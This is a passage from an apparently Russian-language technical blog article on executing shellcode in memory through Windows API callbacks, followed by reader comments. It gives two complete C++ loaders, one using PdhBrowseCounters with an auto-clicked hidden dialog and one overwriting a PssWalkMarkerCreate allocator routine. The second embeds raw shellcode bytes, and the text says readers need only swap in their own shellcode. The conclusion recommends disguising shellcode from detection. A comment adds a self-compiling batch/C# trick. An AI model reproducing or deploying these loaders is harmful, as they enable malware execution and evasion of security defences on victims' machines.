Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функций и GUI-приложений, которые принимают коллбек. Скажем, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.

Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage() сымитировать отправку сообщения о выборе счетчиков нужному окну.

Вот полный код программы, вам вновь достаточно лишь заменить шеллкод:
#include <windows.h>
#include <pdh.h>
#include <pdhmsg.h>
#include <stdio.h>
#include <iostream>
 
#pragma comment(lib, "pdh.lib")
 
 
 
DWORD WINAPI ThreadFunction(LPVOID lpParam)
{
	Sleep(5000);
	HWND hwnd = NULL;
	hwnd = FindWindow(NULL, L"s");
	ShowWindow(hwnd, SW_HIDE);
	if (hwnd)
	{
    	HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian
 
    	if (hwndButton)
    	{
            SendMessage(hwndButton, BM_CLICK, 0, 0);
    	}
    	else {
        	hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English
        	if (hwndButton) {
                SendMessage(hwndButton, BM_CLICK, 0, 0);
        	}
        	else {
                std::cout << "[-] Cant get handle on button" << std::endl;
        	}
    	}
	}
	return 0;
}
void ShowCounterBrowser()
{
 
    PDH_BROWSE_DLG_CONFIG dlg;
 
    ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG));
	unsigned char AbcdVar[] = "<SHELLCODE HERE>";
	PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(addr, AbcdVar, sizeof(AbcdVar));
	dlg.pCallBack = (CounterPathCallBack)addr;
	dlg.dwCallBackArg = NULL;
 
    dlg.bIncludeInstanceIndex = FALSE;
    dlg.bSingleCounterPerAdd = TRUE;
    dlg.bSingleCounterPerDialog = TRUE;
    dlg.bLocalCountersOnly = FALSE;
    dlg.bWildCardInstances = TRUE;
	dlg.bHideDetailBox = TRUE;
    dlg.bInitializePath = FALSE;
    dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;
    dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];
    dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH;
	HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
 
	if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS)
	{
        printf("Chosen counter: %s\n", dlg.szReturnPathBuffer);
	}
	else
	{
        printf("No counter chosen\n");
	}
 
	delete[] dlg.szReturnPathBuffer;
}
 
int main()
{
    ShowCounterBrowser();
	return 0;
}

Или пусть это будет функция PssCaptureSnapshot(), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate(), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которой и указываются коллбэки. Сами эти коллбэки нужны для кастомной реализации функций по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:

#include <Windows.h>
#include <processsnapshot.h>
#include <iostream>
 
// Function To Rewrite
VOID* CALLBACK AllocRoutine(void* Context, DWORD Size)
{
	MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION);
	return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size));
}
 
int main()
{
	DWORD ProcessId = GetCurrentProcessId();
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
	if (hProcess == NULL)
	{
    	std::cerr << "Could not open the process." << std::endl;
    	return 1;
	}
 
	HPSS SnapshotHandle = NULL;
	PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE;
	DWORD SnapshotFlags = 0;
	DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle);
	if (Result != ERROR_SUCCESS)
	{
    	std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;
    	return 1;
	}
 
	PSS_ALLOCATOR Allocator;
 
    Allocator.AllocRoutine = AllocRoutine;
    Allocator.FreeRoutine = NULL;
	unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
        "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
        "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
        "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
        "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
        "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
        "\x48\x83\xec\x20\x41\xff\xd6,\x00";
	DWORD old;
    VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
    memcpy(AllocRoutine, shellcode, sizeof(shellcode));
	HPSSWALK WalkMarkerHandle;
	Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle);
	if (Result != ERROR_SUCCESS)
	{
    	std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;
    	return 1;
	}
    PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);
    CloseHandle(hProcess);
	return 0;
}

Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.

Заключение

Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.

Комментарии (5)


  1. neco
    13.10.2023 11:17
    +1

    ещё есть вот такой трюк для сборки исходника прямо на хосте.. не смог найти статью, где я об этом читал, но точно была..

    и если это ещё добавить, тогда ещё вложенность матрёшки можно поднять.. но да тут диск используется, но можно же комбинировать...

    пример командного файла типа .bat или .cmd:

    /*
    rem @echo off && cls
    
    set WinDirNet=%WinDir%\Microsoft.NET\Framework
    IF EXIST "%WinDirNet%\v2.0.50727\csc.exe" set csc="%WinDirNet%\v2.0.50727\csc.exe"
    IF EXIST "%WinDirNet%\v3.5\csc.exe" set csc="%WinDirNet%\v3.5\csc.exe"
    IF EXIST "%WinDirNet%\v4.0.30319\csc.exe" set csc="%WinDirNet%\v4.0.30319\csc.exe"
    %csc% /nologo /out:"%~0.exe" %0
    "%~0.exe"
    del "%~0.exe"
    
    exit
    
    */
    
    class HelloWorld
    {
            static void Main(string[] args)
            {
                System.Console.WriteLine(" hello world!\n looking...\r\ni am at " + System.Environment.Version);
            }
    }


    1. neco
      13.10.2023 11:17

      единственной сложностью мне кажется, вот этот момент:

      "Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp: "...

      но имхо для тех, кто понимает идеи - сам сможет понять как обойти это ограничение..


  1. DBalashov
    13.10.2023 11:17
    +1

    Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.

    Значительно раньше, 2015-й наверное, плюс-минус. На предпредыдущем месте работы мы как раз в то время начали писать один проект, который плотно использовал Microsoft.CodeAnalysis.CSharp, CSharpSyntaxTree и in-memory compiling.


    1. neco
      13.10.2023 11:17

      да в 2015 они добавили, меня тогда ещё сильно поразило, что что код можно делать из кода и компилить в онлайне.. собственно тогда у меня возникала идея, что его можно тупо передовать от сервера и компилить на клиенте... и я тогда подумал, что это очень опасная штука...

      ну это дыра всей архитектуры фон-неймана... (((

      в этом плане армы побеждают с гарвордовской архитектурой... но живем с чем есть..


  1. neco
    13.10.2023 11:17

    хабр не торт?

    меня удивляет низкий рейтинг этой статьи?.

    очень профессиональная статья и техническая